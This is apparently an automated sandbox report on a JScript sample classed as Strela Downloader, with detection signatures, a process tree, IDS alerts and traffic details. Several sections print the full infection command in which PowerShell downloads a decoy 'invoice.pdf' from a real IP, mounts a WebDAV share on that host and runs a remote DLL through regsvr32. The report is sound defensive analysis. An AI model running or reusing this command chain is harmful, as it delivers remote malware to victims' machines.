Edit tour

Windows Analysis Report
240815025266174071.js

Overview

General Information

Sample name:	240815025266174071.js
Analysis ID:	1588306
MD5:	f15a02e60e4477ac959eed4f66f20afa
SHA1:	d9bb5c7b6cbce52069ef67dcff03f7859f83b2f5
SHA256:	a9d31b8fa9c1fdcac365bbfe5ca5d00be3e24dfaf789e59430fe005ce4c140f6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7744 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7836 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7844 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7888 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1648,i,6499586492912720118,18189921261920214580,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8072 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8140 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7744	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7836, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7888, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7836, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7888, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ProcessId: 7744, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8140, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ProcessId: 7744, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7836, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7888, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8140, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6084, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8072, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8140, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\240815025266174071.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7744, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 7836, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:28.015338+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49758	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:25.952833+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49747	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 240815025266174071.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 240815025266174071.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49758 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:25 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49758

Source: global traffic

TCP traffic: 192.168.2.9:49758 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49747 -> 193.143.1.205:80

Source: global traffic

